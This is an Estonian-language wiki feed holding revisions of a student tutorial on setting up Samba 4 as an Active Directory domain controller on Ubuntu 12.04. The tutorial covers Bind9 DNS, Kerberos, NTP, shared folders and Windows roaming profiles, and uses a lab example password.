Paigaldame krb5-user paketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks &amp;quot;samba.piix.ee&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muudame Kerberose konfifaili /etc/krb5.conf selliseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[libdefaults]&lt;br /&gt;
        default_realm = samba.piix.ee&lt;br /&gt;
        dns_lookup_realm = true&lt;br /&gt;
        dns_lookup_kdc = true&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Network Time Protocol==&lt;br /&gt;
Kuna Samba annab domeeni liikmetele ka kellaajad kätte, siis soovime, et ka serveril endal oleks õige kellaaeg ja seda saame teha järgnevalt:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame NTP&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install ntp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Seadistame ära muutes /etc/ntp.conf faili, lisades serverite nimekirja esimeseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
server 2.ee.pool.ntp.org&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teeme esimese aja pärimise ja paneme teenuse tööle:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service ntp stop&lt;br /&gt;
ntpdate -B 2.ee.pool.ntp.org&lt;br /&gt;
service ntp start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kontrollime, kas töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ntpq -p&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==&#039;Kontroll&#039;==&lt;br /&gt;
Kontrollime, Samba4 töökorda:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L samba.piix.ee -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund kuvatakse väljajagatud failide/kausta/printerite nimekiri:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks käivitame käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //samba.piix.ee/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljundiks kuvatakse netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Küsitakse admin parooli (&amp;quot;Student1&amp;quot;):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
kinit Administrator@samba.piix.ee&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Töökorras olekus väljundit ei kuvata.&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos annab välja pileti ehk Ticketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
klist&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuks kuvatakse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_0&lt;br /&gt;
Default principal: Administrator@samba.piix.ee&lt;br /&gt;
&lt;br /&gt;
Valid starting     Expires            Service principal&lt;br /&gt;
01/07/13 23:51:12  01/08/13 09:51:12  krbtgt/samba.piix.ee@samba.piix.ee&lt;br /&gt;
	renew until 01/08/13 23:51:09&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kasutajate ja gruppide ning jagatavate kaustade loomine=&lt;br /&gt;
Loome kaustad &amp;quot;share&amp;quot; ja &amp;quot;opilane&amp;quot;: &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mkdir -p /var/data/share&lt;br /&gt;
mkdir -p /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Loome ka vastavad kasutajad ja grupid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
adduser share&lt;br /&gt;
adduser opilane&lt;br /&gt;
addgroup jagatud&lt;br /&gt;
addgroup opilane&lt;br /&gt;
adduser share jagatud&lt;br /&gt;
adduser opilane opilane&lt;br /&gt;
samba-tool user add share&lt;br /&gt;
samba-tool user add opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Anname kaustadele ka vastavad omanikud ning grupid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
chown share:jagatud /var/data/share&lt;br /&gt;
chown opilane:opilane /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Loodud kaustade väljajagamine ja õiguste määramised=&lt;br /&gt;
Avame Samba4 konfiguratsioonifaili smb.conf:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/samba/smb.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisame lõppu järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[share]&lt;br /&gt;
        path = /var/data/share&lt;br /&gt;
        comment = yldine jagatud ketas&lt;br /&gt;
        read only = No&lt;br /&gt;
&lt;br /&gt;
[profiles]&lt;br /&gt;
        path = /var/data/profiles&lt;br /&gt;
        comment = opilaste jagatud ketas&lt;br /&gt;
        read only = no&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Et kaustad välja jagada, teeme Samba4&#039;le restardi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Samba4&#039;s enam ei saa smb.conf&#039;i faili kaudu kaustadele õigusi lisada. Active Directory kaudu läbi Windowsi masina saab Administraatori kontoga teha &amp;quot;profiles&amp;quot; kaustade alla igale kasutajale oma kausta ehk &amp;quot;roaming profile&amp;quot;-i.&amp;lt;br&amp;gt;&lt;br /&gt;
Tuleb meeles pidada, et roaming profile&#039;s tuleb domeenis sisse logida sama Windows-versiooni masinaga. Erinevate Windowsite alt sisse logides samas domeenis genereeritakse Profiles kausta topelt kasutaja kaust nign see pole esimese loodud kasutaja kaustaga ühenduses.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Windowsi keskkonnas Active Directory haldamiseks tuleb kasutada Remote Server Administration Tool&#039;i, mis tuleb microsoft&#039;i kodulehelt allatõmmata.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna meil on hetkel Windows XP kasutusel, siis meil on vaja Administration Tool Packi - http://www.microsoft.com/en-us/download/details.aspx?id=16770 .&amp;lt;br&amp;gt;&lt;br /&gt;
See järel liita masin loodud domeeniga: &lt;br /&gt;
Esmalt määrata oma võrguühenduse seadetes DNS serveriks 192.168.56.220.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Parem klõps My Computeril -&amp;gt; Properties.&amp;lt;br&amp;gt;&lt;br /&gt;
Uues aknas ülevalt &amp;quot;Computer name&amp;quot; ja nupp &amp;quot;Change&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
Määrata domeeniks &amp;quot;samba.piix.ee&amp;quot; või see, mis sai domeeni loomisel pantud.&amp;lt;br&amp;gt;&lt;br /&gt;
Edukal leidmisel küsib kasutajanime ja parooli. Tuleb panna kasutajaks Administrator ja parooliks Student1.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui aksepteerib, siis tervitab sind domeeni liitmise puhul ja palub restarti ning peale seda saab juba domeeni sisselogida Sambas loodud kasutajatega.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Windowsi klientmasinas, kuhu on installeeritud vastav Administraton Tool Pack Active Directory haldamiseks domeeniserveris, tuleb avada Start -&amp;gt; Run -&amp;gt; dsa.msc &amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step1.png|thumb|none|427px|dsa.msc]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avanenud aknas minna vastavate kasutajate juurde, avada parema klõpsuga Properties ja Profile sektsiooni ning lisada Profile Path: //192.168.56.200/profiles/%USERNAME%&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step2.png|thumb|none|551px|Profile path]]&lt;br /&gt;
&lt;br /&gt;
ning muudatused ära salvestada. Seejärel tuleks käivitada Start -&amp;gt; Run&#039;is käsk &amp;quot;gpudate /force&amp;quot;, mis sunnib uuendama Group Policy&#039;t.&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step3.png|thumb|none|427px|gpupdate]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Peale seda vastava kasutajaga uuesti sisse sisselogides tehakse Profiles kausta vastava kasutajanimega kaust.&lt;br /&gt;
Näide serverist vaadatuna:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
 # cd /var/data/profiles&lt;br /&gt;
 # ls -l&lt;br /&gt;
 drwxr-xr-x 12 3000012 users   4096 Aug  2 15:35 test&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kasutatud kirjandus=&lt;br /&gt;
* https://wiki.itcollege.ee/index.php/Samba4_installeerimine&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60896</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60896"/>
		<updated>2013-01-13T06:34:35Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Kerberose paigaldamine/seadistamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Käesolev artikkel on juhend Samba 4 paigaldamise ja seadistamise kohta.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
* Ubuntu versioon 12.04&lt;br /&gt;
* IP aadress 192.168.56.200&lt;br /&gt;
* eelnevalt paigaldatud Bind9 domeeniga piix.ee&lt;br /&gt;
* elementaarsed teadmised Ubuntu käsurea kasutamisest&lt;br /&gt;
&lt;br /&gt;
=Eelised=&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
jne.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
&lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logime sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendame tarkvara nimekirja:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installeerime Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 installi käigus on sage viga, et Samba 4 package mängib enda staatuseks &amp;quot;half installed. See tuleb käsitsi muuta:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
less /var/lib/dpkg/status | grep half-configured&lt;br /&gt;
nano /var/lib/dpkg/status&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Leia konfifailist Samba4 rida:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Package: samba4&lt;br /&gt;
Status: install ok half-configured&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...ning muuda see rida selliseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Package: samba4&lt;br /&gt;
Status: install ok installed &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrollime, et rohkem &amp;quot;poolikuid&amp;quot; faile pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
less /var/lib/dpkg/status | grep half-configured&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis kustutame või muudame backup&#039;iks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
eeldusel, et smb.conf faili pole olemas. Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks &amp;quot;samba.piix.ee&amp;quot; kõrval tuleb --domain argumendiks kirjutada &amp;quot;samba.piix; millegi muu korral ei hakka Kerberos soovitult tööle.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/usr/share/samba/setup/provision --realm=samba.piix.ee --domain=samba --adminpass=Student1 --server-role=&#039;dc&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemus on järgnev:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
Setting up sam.ldb rootDSE marking as synchronized&lt;br /&gt;
Fixing provision GUIDs&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
A phpLDAPadmin configuration file suitable for administering the Samba 4 LDAP server has been created in /var/lib/samba/private/phpldapadmin-config.php .&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ubuntu&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-1025771091-2011791338-2641903939&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Test==&lt;br /&gt;
Käivitame Samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
initctl start samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Laeme Samba-client&#039;i:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
eemaldame samba.pid faili, mis takistab sambat käivitamast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
rm /var/run/samba.pid&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning kontrollime (väljund kuva share&#039;s olemad elemendid):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L localhost -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Väljundiks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;	&lt;br /&gt;
Sharename       Type       Comment&lt;br /&gt;
---------       ----       -------&lt;br /&gt;
netlogon        Disk       &lt;br /&gt;
sysvol          Disk       &lt;br /&gt;
IPC$            IPC        IPC Service&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read enne esimest &amp;quot;else&amp;quot;t:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
    if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
    fi&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Ning selle sisuks tuleb:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tekitame eelnevalt loodud failidele lingid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;erandid&lt;br /&gt;
&lt;br /&gt;
Taaskäivitane Samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kaasame Samba4 raames loodud konfiratsioonifaili Bind9 seadetesse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis lisame Apparmorisse erandid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada lõppu ennem viimast &amp;quot;}&amp;quot; märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/** rkw,&lt;br /&gt;
/var/lib/samba/private/dns/** rkw,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/bind9/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/gensec/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/ldb/modules/ldb/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/ldb/** rm,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
´&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Nimeserveri seadistamine==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Meie nimeserveri aadress on 192.168.56.200 (kirje tuleb lisada teistest ip-aadressidest ettepoole, et süsteem pöörduks just Bind9 poole):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja selle töökorda ja seadistusi kontrollida: &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks &amp;quot;samba.piix.ee&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muudame Kerberose konfifaili /etc/krb5.conf selliseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[libdefaults]&lt;br /&gt;
        default_realm = samba.piix.ee&lt;br /&gt;
        dns_lookup_realm = true&lt;br /&gt;
        dns_lookup_kdc = true&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Network Time Protocol==&lt;br /&gt;
Kuna Samba annab domeeni liikmetele ka kellaajad kätte, siis soovime, et ka serveril endal oleks õige kellaaeg ja seda saame teha järgnevalt:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame NTP&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install ntp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Seadistame ära muutes /etc/ntp.conf faili, lisades serverite nimekirja esimeseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
server 2.ee.pool.ntp.org&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teeme esimese aja pärimise ja paneme teenuse tööle:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service ntp stop&lt;br /&gt;
ntpdate -B 2.ee.pool.ntp.org&lt;br /&gt;
service ntp start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kontrollime, kas töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ntpq -p&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==&#039;Kontroll&#039;==&lt;br /&gt;
Kontrollime, Samba4 töökorda:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient -L samba.piix.ee -U%&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljund kuvatakse väljajagatud failide/kausta/printerite nimekiri:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	Sharename       Type       Comment&lt;br /&gt;
	---------       ----       -------&lt;br /&gt;
	netlogon        Disk       &lt;br /&gt;
	sysvol          Disk       &lt;br /&gt;
	IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Autentimise kontrollimiseks käivitame käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //samba.piix.ee/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Väljundiks kuvatakse netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Küsitakse admin parooli (&amp;quot;Student1&amp;quot;):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
kinit Administrator@samba.piix.ee&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Töökorras olekus väljundit ei kuvata.&amp;lt;br&amp;gt;&lt;br /&gt;
Kontrollime, kas Kerberos annab välja pileti ehk Ticketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
klist&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Tulemuks kuvatakse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_0&lt;br /&gt;
Default principal: Administrator@samba.piix.ee&lt;br /&gt;
&lt;br /&gt;
Valid starting     Expires            Service principal&lt;br /&gt;
01/07/13 23:51:12  01/08/13 09:51:12  krbtgt/samba.piix.ee@samba.piix.ee&lt;br /&gt;
	renew until 01/08/13 23:51:09&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kasutajate ja gruppide ning jagatavate kaustade loomine=&lt;br /&gt;
Loome kaustad &amp;quot;share&amp;quot; ja &amp;quot;opilane&amp;quot;: &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mkdir -p /var/data/share&lt;br /&gt;
mkdir -p /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Loome ka vastavad kasutajad ja grupid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
adduser share&lt;br /&gt;
adduser opilane&lt;br /&gt;
addgroup jagatud&lt;br /&gt;
addgroup opilane&lt;br /&gt;
adduser share jagatud&lt;br /&gt;
adduser opilane opilane&lt;br /&gt;
samba-tool user add share&lt;br /&gt;
samba-tool user add opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Anname kaustadele ka vastavad omanikud ning grupid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
chown share:jagatud /var/data/share&lt;br /&gt;
chown opilane:opilane /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Loodud kaustade väljajagamine ja õiguste määramised=&lt;br /&gt;
Avame Samba4 konfiguratsioonifaili smb.conf:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/samba/smb.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisame lõppu järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[share]&lt;br /&gt;
        path = /var/data/share&lt;br /&gt;
        comment = yldine jagatud ketas&lt;br /&gt;
        read only = No&lt;br /&gt;
&lt;br /&gt;
[profiles]&lt;br /&gt;
        path = /var/data/profiles&lt;br /&gt;
        comment = opilaste jagatud ketas&lt;br /&gt;
        read only = no&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Et kaustad välja jagada, teeme Samba4&#039;le restardi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Samba4&#039;s enam ei saa smb.conf&#039;i faili kaudu kaustadele õigusi lisada. Active Directory kaudu läbi Windowsi masina saab Administraatori kontoga teha &amp;quot;profiles&amp;quot; kaustade alla igale kasutajale oma kausta ehk &amp;quot;roaming profile&amp;quot;-i.&amp;lt;br&amp;gt;&lt;br /&gt;
